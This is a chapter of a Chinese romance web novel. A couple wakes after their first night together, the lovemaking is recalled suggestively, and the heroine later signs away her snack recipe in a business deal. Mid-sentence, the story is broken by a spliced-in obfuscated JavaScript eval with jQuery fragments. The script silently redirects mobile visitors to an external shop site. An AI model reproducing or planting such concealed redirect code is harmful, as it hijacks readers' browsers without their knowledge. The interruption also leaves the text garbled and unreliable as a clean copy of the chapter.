第一零二章
清早,天还没完全亮,风扇在嗡嗡的工作,脑袋转来转去,吹动着窗帘也在飘动,透过窗帘缝隙,符伊年看到外头雾蒙蒙的。
身旁的人翻了个身,手臂搭在了她的腰上,用力一收,就将她搂进怀里,“还早,再睡一下。”
符伊年其实有些不舒服,浑身上下都疼,也不是疼,疼这个词是对祝镕能力的侮辱,也是对她昨晚欢愉享受的否认。
一定要说的话,应该是一种酸楚,肌肉酸,骨头也酸。
符伊年慢腾腾地翻身,将头埋再祝镕怀里,然后,大口一张,吭哧一下子咬在了他的胸肌上。
“嘶!”祝镕被咬疼,箍在符伊年腰上的手臂不禁用力,“谋杀亲夫吗?还是用过就杀?你是女王蜂吧?”
“是啊,我女王‘疯’。”符伊年的声音还是有些嘶哑的,虽然昨晚事后祝镕喂她喝了一大杯凉白开,依然没能完全缓解。
祝镕听出了符伊年的自我调侃,轻笑了一声,下巴在她的的发顶蹭了蹭,“是我不好,时间太久次数太多了。”
“闭嘴吧。”符伊年想到昨晚的某些事,脸爆红,埋在祝镕怀里用头顶撞他的下巴,闷闷地说。
昨晚的事是怎么发生的呢?
下午打发走了那些员工后,符伊年说不上生气,也没有难过,但是心塞肯定是有的,闹心了一会儿,被祝镕察觉了,抱着她哄。
都怪祝镕哄人手法太高明,拍着她的后背很快就把她拍睡着了。
这一睡就睡过了晚饭,醒的时候是晚上八点,在床上,身边是靠着床头看书的祝镕。
“你抱我回来的?”符伊年问了句废话。
祝镕一手拿着书一手抚着她的头,“醒了?饿不饿?下面给你吃?”
“不饿,不想吃。”符伊年翻了个身,脸朝向祝镕,“你哪天开学?”
祝镕说29号的火车,30号报道,休整一天开始上课,“再放假就要春节了,课程多,寒假不一定赶得回来。”
符伊年默默在心里计算着,这一下子就要小半年不见,虽然中间有假期她可以过去探亲,但是日夜相处一个多月后再分开,当然让人念念不舍。
符伊年抱着祝镕的腰,轻轻地叹气。然后她就发现,祝镕起立了。她盯着那顶小房子,目瞪口呆、瞠目结舌,好半天才回神,仰起头看向祝镕。
祝镕很无奈,也有些羞耻,这个弟弟太不听话了,怎么就这么站起来了呢?有点丢人啊,都是自己没管教好。
偏偏,符伊年仰起头的时候,鼻尖刚好距离那里很近,呼吸出的热气透过夏季轻薄的衣料落在敏感处,让那座小房子急速变大。
符伊年的手蠢蠢欲动、跃跃欲试,终于覆在了上面。
接着事情就一发不可收拾了。
临门时,祝镕伏在符伊年上方,额角的汗滴落到她的锁骨上,“年年,只要你喊停,我就停,三个数,好不好?一……”
符伊年简直想翻白眼,你都箭在弦上了,还能说停就停?不怕憋坏了?万一坏了,我也很吃亏好不好?
“二三!”符伊年果断地替他数完。
祝镕果然只是说说,
手扣在他的后背,胡乱抓了一下,在祝镕的后背留下几条血印子。
然后,就没有然后了。
符伊年惊诧,时间这么短的吗?我要不要表现出来,表现出来会不会伤到祝镕的自尊心?可是不表现出来,我真的很不满啊。
“对不起,第一次,让你失望了,”祝镕倒是比符伊年看起来自在多了,他亲了亲她的额头,一路向下,重新来到她的心口,“我们再试一次。”
怎么说呢?祝镕不愧是祝镕,对自己的能力十分了解且自信。后面果然好多了。如果不是顾忌着符伊年的身体,恐怕会更好更持久。
天色渐渐明朗,晨曦微光落在对面的房顶上,麻雀在窗前唱歌,欢快地蹦跶。
祝镕摸过放在床头的手表,看了眼时间,轻轻放下。将符伊年搭在她腰上的手臂和骑在腿上的小腿慢慢移开,顺手拨了拨她黏在额头上被汗水打湿的头发。
符伊年还是被吵醒了,但是不肯睁眼,维持着俯卧的姿势,发出轻轻的“嗯”。
“没事,我去买早饭,你继续睡。”祝镕在她的背上轻轻拍了两下,低声哄到,等到人重新睡下,才蹑手蹑脚地离开。
出了东厢房,祝镕先去冲了一次澡,然后出门买早餐。早餐按照符伊年的口味,买了油条豆浆小米粥和几种小菜,想了想又拐去旁边新开的面包房,买了一袋手撕面包。
回来的时候,符伊年正扶着门口迷迷糊糊张望,等看到人回来,晃了下身子,重新进屋去了。
祝镕的心一下子像是泡进了温泉里,又暖又湿。他把早餐放去餐厅,重新回来,却没有在房间看到人。想了想,祝镕找去了浴室,听到里面有水声,这才安心。
符伊年走进餐厅时头发还湿着,一边走一边打着呵欠,走到桌前没有坐在自己往常的椅子上,而是一屁股做到了祝镕腿上,接着往他怀里一歪,“好累啊,你为什么精力这么充沛。”
祝镕搂着她在她脸颊上亲了一下,“我是军人啊,日常最低五公里起的。其实经过这两个月,你体力已经越来越好了。”
这两个月,确切地说是一个半月,符伊年一只在被祝镕带动着锻炼身体,包括出游那段时间,每天都会带着她跑一会儿。
听到这里,符伊年不禁用质疑的目光看祝镕,“你是不是早有预谋?”
祝镕大呼冤枉,“我可是要数三个数让你考虑的。”
符伊年想起来了,祝镕是说过数三个数,只要她说停他就会停的。结果是她自己,迫不及待替他数完了。
“那个,我饿了,吃早饭吧。”
符伊年松开搂着的祝镕的脖子,想要从他腿上下来,却被祝镕的大掌按住了腰后,“冤枉了人就想跑啊,多少也要给点补偿吧?”
符伊年:“怎么补偿……”
看着祝镕越来越近的脸,符伊年停住口,好的,知道了,不用再问了。
眼看着时间越来越晚,祝镕不敢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434618|131614||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
放肆太久,亲了一会儿就松开她,然后把她安置在她自己的椅子上,再抱下去一会儿怕是要出事。
今天还有正经事要做呢——当然,并不是说爱爱是不正经的事。
上一次商谈结束时,符伊年和柳旻约定好签合同的日子,定在了本周四,因为签好合同可以直接去工商所进行更名,待一切手续都走完,恩慈公司也好早点进行制作生产。
合同签好,工商手续变更完毕,符伊年将一张写着辣条制作方法、配方所需调料和各味调料比例的纸张交给对方,想了想,还是提醒了一句,“这是基础配方,你们以后可以继续研发,随时创新。”
其实,符伊年完全不必多言这一句。柳旻出身商人世家,从小耳濡目染,长成后读了商科,对经商的这些事比符伊年懂得多,但对于符伊年这句提醒,他还是很感激的。
“符女士真是心善。”柳旻接过纸张看了一眼,夹进文件夹里,同符伊年和祝镕分别握了手。
符伊年笑了一下,”我也是白嘱咐这么一句,柳先生专业人士,比我明白得多。”
双方互相吹捧了几句后,就此分别。至于符伊年一进院里那些生产的机器和工具,柳先生没提,符伊年也就没说。
柳家要是想要做大做强,规模自然不是自己这小作坊可比的,人家肯定会建专门的厂房车间,机器肯定也会更新更先进,自己就别操这份心了。
祝镕陪着符伊年往外走,开了副驾驶的车门让她先进去,自己去旁边的商店买了瓶井水冰镇的果汁饮料,擦了擦瓶口,用商店的瓶起子开了,又插了根吸管进去,这才转身往回走。
拉开车门,就看到符伊年背靠着副驾驶车椅背闭目养神。祝镕不禁有些后悔,他其实早上发现了,年年还没完全恢复过来,仍然有些不舒服,应该等她好一些再来签合同走手续的。
符伊年虽然闭着眼,但是耳朵没有闭上,她听到祝镕开车门的声音了,等了半天不见车子发动,也没听到祝镕讲话,不禁睁开眼看过去,正好对上祝镕的目光。
“你怎么了?”符伊年不解,怎么用这种目光可她,带着探究还带着担忧。
祝镕将果汁递到她面前,“我看看你脸色怎么样,是不是累到了。”
符伊年伸手,手心触到瓶子凉却不冰的瓶身,咬住吸管喝一口,舒服地喟叹一声,“爽!”
祝镕看到符伊年一口冰镇果汁就恢复了能量,精神也振奋了起来,心中好笑,原来是热着了。看着她惬意的脸色,祝镕那句到嘴边的嘱咐,到底吞了回去,算了,不要扫兴了,没今天他就要离开了。
符伊年不知道祝镕心中所想,只觉得他今天好像心情不错,连自己一口气喝掉大半瓶的冰镇汽水都没察觉。
挺好,省的念叨我。符伊年心说,年纪大点是会疼人,可是男友爹味太重,也让人烦恼哇。
符伊年忘记了,人哪,是不能随便立flag的,不然很快就会被打脸。
此时,她还觉得祝镕这个爹系男友有点烦人,再过些日子,等他离开了,她又开始了怀念。